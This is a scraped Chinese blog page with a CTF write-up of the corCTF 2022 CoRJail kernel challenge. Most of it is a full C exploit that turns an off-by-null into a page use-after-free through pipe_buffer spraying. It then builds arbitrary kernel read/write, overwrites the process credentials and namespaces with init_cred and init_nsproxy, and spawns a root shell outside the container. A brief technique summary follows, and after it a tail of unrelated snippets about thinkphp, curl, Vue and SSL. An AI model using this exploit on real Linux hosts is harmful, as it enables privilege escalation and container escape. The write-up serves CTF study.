[rax], rbx ; pop rbx ; ret*rop ++= 0; // rbx// kpti trampoline*rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22*rop ++= 0;*rop ++= 0;*rop ++= (uint64_t)&win;*rop ++= usr_cs;*rop ++= usr_rflags;*rop ++= (uint64_t)(stack + 0x5000);*rop ++= usr_ss;puts("[*] Freeing user keys...");free_all_keys(false);puts("[*] Spraying ROP chain...");for (int i = 0; i < 31; i++)keys[i] = alloc_key(n_keys++, buff, 600);puts("[*] Hijacking control flow...");for (int i = 0; i < 1024; i++)release_pipe_buff(i);// --- for (int i = 0; i < 256; i++)pthread_join(poll_tid[i], NULL);
}
第二种利用方式就是直接利用 pipe_buffer
去构造自写管道系统进行提权逃逸,这个利用方式就不多说了。
笔者 exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred, init_fs;size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{size_t page_count;page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;return vmemmap_base + page_count * 0x40;
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] %s\033[0m\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[33m\033[1m[@] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};#define PAGE_SIZE 4096
#define SPRAY_PIPE_NUMS 0xf0
#define S_PIPE_BUF_SZ 96
#define T_PIPE_BUF_SZ 192
#define SPRAY_KEY_NUMS 0x100int key_id[SPRAY_PIPE_NUMS];int pipe_fd[SPRAY_PIPE_NUMS][2];
int orig_idx = -1, victim_idx = -1;
int snd_orig_idx = -1, snd_victim_idx = -1;
int self_1_pipe_idx = -1, self_2_pipe_idx = -1, self_3_pipe_idx = -1;
struct pipe_buffer self_pipe_buf;
struct pipe_buffer self_1_pipe_buf, self_2_pipe_buf, self_3_pipe_buf;int fd;
void off_by_null(){char buf[PAGE_SIZE] = { 0 };write(fd, buf, PAGE_SIZE);
}
size_t kbase, koffset;void construct_first_level_page_uaf() {info("Step I - construct first level page uaf");puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT]");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");}puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl()");int k = 0, flag = 1;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");if (i > 4 && (i % 9) == 0 && flag) {char des[16] = { 0 };char val[4096] = { 0 };sprintf(des, "%s%d", "pwn_", i);if ((key_id[k++] = key_alloc(des, val, 4096-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-4k: %d\n", k), flag = 0;}write(pipe_fd[i][1], "XiaozaYa", 8);write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], "AAAAAAAX", 8);write(pipe_fd[i][1], "BBBBBBBX", 8);}/*puts("[+] Freeing some pipe_buffer to kmalloc-4k / pipe_fd[3i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}
*/puts("[+] Trying to overwrite pipe_buffer.page");for (int i = 0; i < k; i++) {key_revoke(key_id[i]);key_unlink(key_id[i]);}sleep(1);off_by_null();/*puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT] / pipe_fd[2i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");}puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl() / pipd_fd[2i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");write(pipe_fd[i][1], "XiaozaYa", 8);write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], "AAAAAAAX", 8);write(pipe_fd[i][1], "BBBBBBBX", 8);}
*/puts("[+] Checking...");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {int nr = -1;char tag[16] = { 0 };read(pipe_fd[i][0], tag, 8);read(pipe_fd[i][0], &nr, sizeof(int));if (!strcmp(tag, "XiaozaYa") && i != nr) {orig_idx = nr;victim_idx = i;hexx("orig_idx", orig_idx);hexx("victim_idx", victim_idx);}}if (orig_idx == -1) err_exit("FAILED to overwrite pipe_buffer.page");puts("");}void construct_second_level_page_uaf() {info("Step II - construct second level page uaf");size_t buf[PAGE_SIZE] = { 0 };size_t s_pipe_sz = 0x1000 * (S_PIPE_BUF_SZ/sizeof(struct pipe_buffer));write(pipe_fd[victim_idx][1], buf, S_PIPE_BUF_SZ*2 - sizeof(int)*3 - 24);read(pipe_fd[victim_idx][0], buf, S_PIPE_BUF_SZ - sizeof(int) - 8);/*puts("[+] Spraying user_key_payload from kmalloc-96 [GFP_KERNEL]");int k = 0, flag = 1;for (int i = 0; i < 130 && flag; i++, k++) {char des[16] = { 0 };char val[96] = { 0 };sprintf(des, "%d", i);if ((key_id[i] = key_alloc(des, val, 90-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-96: %d\n", k), flag = 0;}
*/close(pipe_fd[orig_idx][0]);close(pipe_fd[orig_idx][1]);sleep(1);puts("[+] Spraying pipe_buffer from kmalloc-96 [GFP_KERNEL_ACCOUNT] by fcntl()");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, s_pipe_sz) < 0) err_exit("ERROR at fcntl()");}
/*for (int i = 0; i < k; i++) {key_revoke(key_id[i]);key_unlink(key_id[i]);}
*/puts("[+] Checking...");read(pipe_fd[victim_idx][0], &self_pipe_buf, sizeof(struct pipe_buffer));if (self_pipe_buf.page < 0xffff000000000000ULL) err_exit("FAILED to occupy first level uaf page");binary_dump("self_pipe_buf", &self_pipe_buf, sizeof(struct pipe_buffer));hexx("pipe_buffer.page ", self_pipe_buf.page);hexx("pipe_buffer.offset ", self_pipe_buf.offset);hexx("pipe_buffer.len ", self_pipe_buf.len);hexx("pipe_buffer.ops ", self_pipe_buf.ops);hexx("pipe_buffer.flags ", self_pipe_buf.flags);hexx("pipe_buffer.private", self_pipe_buf.private);write(pipe_fd[victim_idx][1], &self_pipe_buf, sizeof(struct pipe_buffer));puts("[+] Checking...");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;int nr = -1;read(pipe_fd[i][0], &nr, sizeof(int));if (nr < SPRAY_PIPE_NUMS && i != nr) {snd_orig_idx = nr;snd_victim_idx = i;hexx("snd_orig_idx", snd_orig_idx);hexx("snd_victim_idx", snd_victim_idx);}}if (snd_orig_idx == -1) err_exit("FAILED to construct second level page uaf");puts("");
}void construct_self_writing_pipe() {info("Step III - construct self writing pipe");size_t buf[0x1000] = { 0 };struct pipe_buffer evil_pipe_buf;struct page* page_ptr;int t_pipe_sz = 0x1000 * (T_PIPE_BUF_SZ/sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(int)*3 - 24);
/*puts("[+] Spraying user_key_payload from kmalloc-192 [GFP_KERNEL]");int k = 0, flag = 1;for (int i = 0; i < SPRAY_KEY_NUMS && flag; i++, k++) {char des[16] = { 0 };char val[192] = { 0 };sprintf(des, "%d", i);if ((key_id[i] = key_alloc(des, val, 190-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-192: %d\n", k), flag = 0;}
*/close(pipe_fd[snd_orig_idx][0]);close(pipe_fd[snd_orig_idx][1]);puts("[+] Spraying pipe_buffer from kmalloc-192 [GFP_KERNEL_ACCOUNT] by fcntl()");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, t_pipe_sz) < 0) err_exit("ERROR at fcntl()");}puts("[+] Checking...");puts("[+] construct self writing pipe I");memcpy(&evil_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));evil_pipe_buf.offset = T_PIPE_BUF_SZ;evil_pipe_buf.len = T_PIPE_BUF_SZ;write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_1_pipe_idx = i;hexx("self_1_pipe_idx", self_1_pipe_idx);break;}}if (self_1_pipe_idx == -1) err_exit("FAILED to construct self_1_pipe");puts("[+] construct self writing pipe II");write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (i == self_1_pipe_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_2_pipe_idx = i;hexx("self_2_pipe_idx", self_2_pipe_idx);break;}}if (self_2_pipe_idx == -1) err_exit("FAILED to construct self_2_pipe");puts("[+] construct self writing pipe III");write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (i == self_1_pipe_idx || i == self_2_pipe_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_3_pipe_idx = i;hexx("self_3_pipe_idx", self_3_pipe_idx);break;}}if (self_3_pipe_idx == -1) err_exit("FAILED to construct self_3_pipe");puts("");
}void setup_self_writing_pipe()
{info("Step IV - setup self writing pipe system");memcpy(&self_1_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));memcpy(&self_2_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));memcpy(&self_3_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));self_2_pipe_buf.offset = T_PIPE_BUF_SZ * 3;self_2_pipe_buf.len = 0;self_3_pipe_buf.offset = T_PIPE_BUF_SZ;self_3_pipe_buf.len = 0;write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));}void arb_read(struct page* page_ptr, void* dst, size_t len)
{char buf[T_PIPE_BUF_SZ] = { 0 };self_1_pipe_buf.page = page_ptr;self_1_pipe_buf.offset = 0;self_1_pipe_buf.len = 0x1000;write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));read(pipe_fd[self_1_pipe_idx][0], dst, len);
}void arb_write(struct page* page_ptr, void* src, size_t len)
{char buf[T_PIPE_BUF_SZ] = { 0 };self_1_pipe_buf.page = page_ptr;self_1_pipe_buf.offset = 0;self_1_pipe_buf.len = 0;write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_1_pipe_idx][1], src, len);
}void pwn()
{info("NO PWN NO FUN");size_t buf[0x1000];puts("[+] Leaking vmemmap base and kernel offset by arb_read");vmemmap_base = (size_t)self_pipe_buf.page & 0xfffffffff0000000;int f = 10;for (;;){arb_read(vmemmap_base+157*0x40, buf, 8);if (f){hexx("data", buf[0]);f--;}if (buf[0] > 0xffffffff81000000 && (buf[0]&0xfff) == 0x040){kernel_base = buf[0] - 0x040;kernel_offset = kernel_base - 0xffffffff81000000;break;}vmemmap_base -= 0x10000000;}hexx("vmemmap_base", vmemmap_base);hexx("kernel_base", kernel_base);hexx("kernel_offset", kernel_offset);puts("[+] Searching for task_struct");uint64_t parent_task, current_task;uint64_t* comm_addr = NULL;size_t base = 0xffff000000000000;for (int i = 0; ; i++){memset(buf, 0, sizeof(buf));arb_read(vmemmap_base+i*0x40, buf, 0xff0);comm_addr = memmem(buf, 0xff0, "YES_I_CAN_DO", 0xc);if (comm_addr && comm_addr[-2] > base && comm_addr[-3] > base && comm_addr[-56] > base && comm_addr[-55] > base){// parent_task = comm_addr[-56];current_task = comm_addr[-49] - 0x528;page_offset_base = (comm_addr[-49]&0xfffffffffffff000) - i*0x1000;page_offset_base &= 0xfffffffff0000000;break;}}// hexx("parent_task", parent_task);hexx("current_task", current_task);hexx("page_offset_base", page_offset_base);/*size_t cinit_task = current_task;size_t pid_offset = 0x4e0 / 8;size_t real_parent_offset = 0x4f0 / 8;for (int i = 0; ; i++){memset(buf, 0, sizeof(buf));size_t look_page = direct_map_addr_to_page_addr(cinit_task);arb_read(look_page, buf, 0xff0);arb_read(look_page+0x40, &buf[512], 0xff0);size_t* look_buf = (size_t*)((char*)buf + (cinit_task&0xfff));if ((look_buf[pid_offset] & 0xffffffff) == 1) {break;}cinit_task = look_buf[real_parent_offset];}hexx("cinit_task", cinit_task);
*/puts("[+] Elevating privileges and Escaping container");init_fs = 0xffffffff82589740 + kernel_offset;init_task = 0xffffffff82415940 + kernel_offset;init_cred = 0xffffffff8245a960 + kernel_offset;init_nsproxy = 0xffffffff8245a720 + kernel_offset;hexx("init_fs", init_fs);hexx("init_task", init_task);hexx("init_cred", init_cred);hexx("init_nsproxy", init_nsproxy);memset(buf, 0, sizeof(buf));size_t current_task_page = direct_map_addr_to_page_addr(current_task);arb_read(current_task_page, buf, 0xff0);arb_read(current_task_page+0x40, &buf[512], 0xff0);size_t* tsk_buf = (size_t*)((char*)buf + (current_task&0xfff));tsk_buf[211] = init_cred;tsk_buf[212] = init_cred;tsk_buf[220] = init_fs;tsk_buf[222] = init_nsproxy;arb_write(current_task_page, buf, 0xff0);arb_write(current_task_page+0x40, &buf[512], 0xff0);/* memset(buf, 0, sizeof(buf));size_t cinit_task_page = direct_map_addr_to_page_addr(cinit_task);arb_read(cinit_task_page, buf, 0xff0);arb_read(cinit_task_page+0x40, &buf[512], 0xff0);tsk_buf = (size_t*)((char*)buf + (cinit_task&0xfff));tsk_buf[211] = init_cred;tsk_buf[212] = init_cred;tsk_buf[220] = init_fs;tsk_buf[222] = init_nsproxy;arb_write(cinit_task_page, buf, 0xff0);arb_write(cinit_task_page+0x40, &buf[512], 0xff0);
*/hexx("UID", getuid());system("/bin/sh");while(1) {}
}int main(int argc, char** argv, char** envp) {bind_core(0);save_status();fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");if (prctl(PR_SET_NAME, "YES_I_CAN_DO", 0, 0, 0) != 0) err_exit("ERROR at prctl()");construct_first_level_page_uaf();construct_second_level_page_uaf();construct_self_writing_pipe();setup_self_writing_pipe();pwn();
// getchar();puts("[~] EXP NERVER END!");return 0;
}
效果如下:成功率也还行,最后可以成功提权逃逸
总结
总的来说就是去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null
去损坏该指针,比如使得 0xXXXXa0
变成 0xXXXX00
,然后就可以考虑去构造 UAF
了。
比如在 poll_list
利用方式中:
- 先堆喷大量
32
字节大小的user_key_payload
这里只所以是
32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为\x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。
- 然后创建
poll_list
链,其中poll_list.next
指向的是一个0x20
大小的object
这里笔者存在一个问题,这种方式是不是只能针对
4096
大小的off by null
呢?因为只有poll_list
链的最后一个poll_list
的大小才是可以控制的
- 触发
off by null
,修改poll_list.next
的低字节为\x00
,这里可能导致其指向某个user_key_payload
- 然后等待
timeout
后, 就会导致某个user_key_payload
被释放,导致UAF
在 pipe_buffer
构造自写管道也是一样的,pipe_buffer.page
指向的是一个 struct page
结构体,而该结构体大小为 0x40
,所以其低字节可能为 0x40
、0x80
、0xc0
、0x00
。
总的来说感觉利用 pipe_buffer
构造自写管道还是好一些,毕竟只需要堆喷 pipe_buffer
,并且 pipe_buffer
的大小是可以通过 fcntl
修改的,并且其只需要一次 off by null
即可(当然 poll_list
利用方式也是只需要一次),所以似乎其也更加通用。
当然这里还是得讨论下另一个女友 msg_msg
了。在 CVE-2021-22555
中,msg_msg + sk_buf + pipe_buffer
仅仅利用 2 (null)字节溢出完成提权逃逸。但如果只是 off by null
呢?在原 CVE
的利用中,从消息是堆喷的 1024
大小,其低字节恒为 \x00
,所以此时 off by null
似乎就不起作用了。但感觉还是有操作空间的,这里笔者就简单想了想,没有实操,后面有时间在探索探索吧。
其实道理很简单,这里我们仅仅是为了去构造 UAF
,所以我们可以选择 kmalloc-8 ~ kmalloc-192
之间的 object
作为从消息去构造 kmalloc-8 ~ kmalloc-192
的 UAF
,比如这里就i可以选择 kmalloc-32
即利用 user_key_payload
去泄漏相关信息,并且观察 user_key_payload
和 msg_msg
结构体你会发现,我们可以通过 setxattr
去控制 user_key_payload
的头 8 字节为 null
也就是说可以控制 msg_msg
的头 8 字节,然后 msg_msg.next
为 user_key_payload
的 data
域,所以可以控制 msg_msg.next
从而可以构造任意释放原语。
相关文章:
[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape
前言 题目来源:竞赛官网 – 建议这里下载,文件系统/带符号的 vmlinux 给了 参考 [corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel – 原作者文章,poll_list 利用方式…...
thinkphp6定时任务
这里主要是教没有用过定时任务没有头绪的朋友, 定时任务可以处理一些定时备份数据库等一系列操作, 具体根据自己的业务逻辑进行更改 直接上代码 首先, 是先在 tp 中的 command 方法中声明, 如果没有就自己新建一个, 代码如下 然后就是写你的业务逻辑 执行定时任务 方法写好了…...
支持国密ssl的curl编译和测试验证(上)
目录 1. 编译铜锁ssl库2. 编译nghttp2库3. 编译curl4. 验证4.1 查看版本信息4.2 验证国密ssl握手功能4.3 验证http2协议功能 以下以ubuntu 22.04环境为例进行编译 本次编译采用铜锁sslnghttp2curl,使得编译出来的curl可以支持国密ssl,并且可以支持http2…...
包装类详解
概述 Java提供了两个类型系统,基本类型与引用类型,使用基本类型在于效率,然而很多情况,会创建对象使用,因为对象可以做更多的功能,如果想要我们的基本类型像对象一样操作,就可以使用基本类型对…...
vue3与vue2的区别
Vue 3和Vue 2在以下几个方面有一些区别: 性能提升:Vue 3对渲染性能和内存占用进行了优化,使用了Proxy代理对象,比Vue 2的Object.defineProperty更高效。此外,Vue 3还引入了静态树提升(Static Tree Hoisting…...
SSL OV证书和DV、EV证书的区别
在网站搭建的过程中和小程序开发过程中,很难免会有需要用到SSL证书的地方,但是目前数字证书种类繁多,该选择什么类型的证书成为了一个令人纠结的问题。 目前在市场上较为常见的证书分为三种:DV域名验证型证书;OV组织验…...
一款.NET下 WPF UI框架介绍
WPF开源的UI框架有很多,如HandyControl、MahApps.Metro、Xceed Extended WPF Toolkit™、Modern UI for WPF (MUI)、Layui-WPF、MaterialDesignInXamlToolkit、等等,今天小编带大家认识一款比较常用的kaiyuanUI---WPF UI,这款ui框架美观现代化,用起来也超级方便, 界面展示…...
东莞IBM服务器维修之IBM x3630 M4阵列恢复
记录东莞某抖音电商公司送修一台IBM SYSTEM X3630 M4文档服务器RAID6故障导致数据丢失的恢复案例 时间:2024年02月20日, 服务器品牌:IBM System x3630 M4,阵列卡用的是DELL PERC H730P 服务器用途和用户位置:某抖音电…...
Flask基础学习4
19-【实战】问答平台项目结构搭建_剪_哔哩哔哩_bilibili 参考如上大佬的视频教程,本博客仅当学习笔记,侵权请联系删除 问答发布的web前端页面实现 register.html {% extends base.html %}{% block head %}<link rel"stylesheet" href&q…...
mac安装zookeeper
下载地址: http://archive.apache.org/dist/zookeeper/ 注意:由于Zookeeper从3.5.5版本开始,带有bin名称的包才是我们想要的下载可以直接使用的里面有编译后的二进制的包,而之前的普通的tar.gz的包里面是只是源码的包无法直接使…...
IT资讯——全速推进“AI+鸿蒙”战略布局!
文章目录 每日一句正能量前言坚持长期研发投入全速推进“AI鸿蒙”战略 人才战略新章落地持续加码核心技术生态建设 后记 每日一句正能量 人总要咽下一些委屈,然后一字不提的擦干眼泪往前走,没有人能像白纸一样没有故事,成长的代价就是失去原来…...
数据结构知识点总结-线性表(3)-双向链表定义、循环单链表、、循环双向链表、静态链表、顺序表与链表的比较
双向链表定义 单链表结点中只有一个指向其后继的指针,这使得单链表只能从头结点依次顺序地向后遍历。若要访问某个结点的前驱结点(插入、删除操作时),只能从头开始遍历,访问后继结点的时间复杂度为 O(1) , …...
JAVA学习-控制执行流程.for
在Java中,for循环是一种常用的控制执行流程的循环语句。它允许我们重复执行一段代码,直到满足指定的循环条件。 一、for循环的基本语法如下: for (初始化语句; 循环条件; 循环后操作) {// 循环体,要执行的代码} 其中,…...
面试总结之JVM入门
文章目录 🐒个人主页🏅JavaEE系列专栏📖前言:🎀你为什么要学习JVM?🎀JVM的作用 🎀JVM的构成(5大类)🏨1.类加载系统🐕类什么时候会被加…...
适配器模式(Adapter Pattern) C++
上一节:原型模式(Prototype Pattern) C 文章目录 0.理论1.组件2.类型3.什么时候使用 1.实践1.基础接口和类2.类适配器实现3.对象适配器实现 0.理论 适配器模式(Adapter Pattern)是一种结构型设计模式,它允…...
【程序员英语】【美语从头学】初级篇(入门)(笔记)Lesson 16 At the Shoe Store 在鞋店
《美语从头学初级入门篇》 注意:被 删除线 划掉的不一定不正确,只是不是标准答案。 文章目录 Lesson 16 At the Shoe Store 在鞋店对话A对话B笔记会话A会话B替换 Lesson 16 At the Shoe Store 在鞋店 对话A A: Do you have these shoes in size 8? B:…...
嵌入式系统在物联网中的应用与发展趋势
嵌入式系统在物联网中的应用与发展趋势 嵌入式系统在物联网中扮演着至关重要的角色,它们是连接物理世界和数字世界的桥梁,实现了物体之间的互联互通。以下是嵌入式系统在物联网中的应用与发展趋势的几个方面: 1. 应用领域 智能家居&#x…...
BTC网络 vs ETH网络
设计理念 BTC 网络 比特币是一种数字货币,旨在作为一种去中心化的、不受政府或金融机构控制的电子货币。其主要目标是实现安全的价值传输和储存,比特币的设计强调去中心化和抗审查。 ETH 网络 以太坊是一个智能合约平台,旨在支持分散的应…...
Android 开发一个耳返程序(录音,实时播放)
本文目录 点击直达 Android 开发一个耳返程序程序编写1. 配置 AndroidManifast.xml2.编写耳返管理器3. 录音权限申请4. 使用注意 最后我还有一句话要说怕相思,已相思,轮到相思没处辞,眉间露一丝 Android 开发一个耳返程序 耳返程序是声音录入…...
提高办公效率:Excel在文秘与行政办公中的应用技巧
💂 个人网站:【 海拥】【神级代码资源网站】【办公神器】🤟 基于Web端打造的:👉轻量化工具创作平台💅 想寻找共同学习交流的小伙伴,请点击【全栈技术交流群】 在当今信息化时代,Excel作为一款常…...
Object.groupBy分组方法
在某些浏览器的某些版本中,此方法被实现为 Array.prototype.group() 方法。由于 web 兼容性问题,它现在以静态方法实现。 函数功能 提供的回调函数返回的字符串值对给定可迭代对象中的元素进行分组。返回的对象具有每个组的单独属性,其中包…...
从初步的需求收集到详细的规划和评估
综合需求分析建议 明确与细化用户故事 确保每个用户故事清晰、具体,包含角色、目标和成功标准。对用户故事进行优先级排序,以指导开发过程中的功能实现顺序。用户参与和原型制作 创建用户旅程图,以理解用户在使用产品或服务时的整体流程与体验。制作原型或草图,展示用户界面…...
石灰窑工艺流程以及富氧低氧燃烧技术
石灰窑的核心环节是煅烧过程,这是将石灰石转变为生石灰的关键步骤。煅烧反应是碳酸钙(CaCO₃)分解为氧化钙(CaO)和二氧化碳(CO₂)的过程。这一反应需要高温条件,通常在800摄氏度以上…...
LeetCode 2960.统计已测试设备
给你一个长度为 n 、下标从 0 开始的整数数组 batteryPercentages ,表示 n 个设备的电池百分比。 你的任务是按照顺序测试每个设备 i,执行以下测试操作: 如果 batteryPercentages[i] 大于 0: 增加 已测试设备的计数。 将下标在 …...
vue中component is和keepAlive组合使用
component is用与动态渲染组件 组件基础 | Vue.js <template><div style"padding: 30px"><button click"change(1)">组件1</button><button click"change(2)">组件2</button><button click"chang…...
使用 Koltin 集合时容易产生的 bug 注意事项
来看下面代码: class ChatManager {private val messages mutableListOf<Message>()/*** 当收到消息时回调*/fun onMessageReceived(message: Message) {messages.add(message)}/*** 当删除消息时回调*/fun onMessageDeleted(message: Message) {messages.r…...
CKA认证,开启您的云原生之旅!
在当今数字化时代,云计算已经成为企业和个人发展的关键技术。而获得CKA(Certified Kubernetes Administrator)认证,将是您在云原生领域迈出的重要一步。 CKA认证是由Kubernetes官方推出的权威认证,它旨在验证您在Kuber…...
基于springboot+vue的抗疫物资管理系统(前后端分离)
博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战,欢迎高校老师\讲师\同行交流合作 主要内容:毕业设计(Javaweb项目|小程序|Pyt…...
nebula容器方式安装:docker 安装nebula到windows
感谢阅读 基础环境安装安装docker下载nebula 安装数据库命令行安装查询network nebula-docker-compose_nebula-net并初始化查询安装初始使用root(God用户类似LINUX的root) 关闭服务 安装UI 基础环境安装 安装docker 点我下载docker 下载nebula 数据…...
干洗行业上门预约解决方案,干洗店洗鞋店小程序开发;
互联网干洗店洗鞋店小程序,企业干洗方案,干洗行业小程序,上门取衣小程序,预约干洗小程序,校园干洗店小程序,工厂干洗店小程序,干洗店小程序开发; 一、干洗店洗鞋店小程序核心功能介绍: 1.(支持上门取送、送货到店、寄存网点、智能衣柜四种下单方式) 用户下单-上门取…...
js网站模板怎么用/外链代发免费
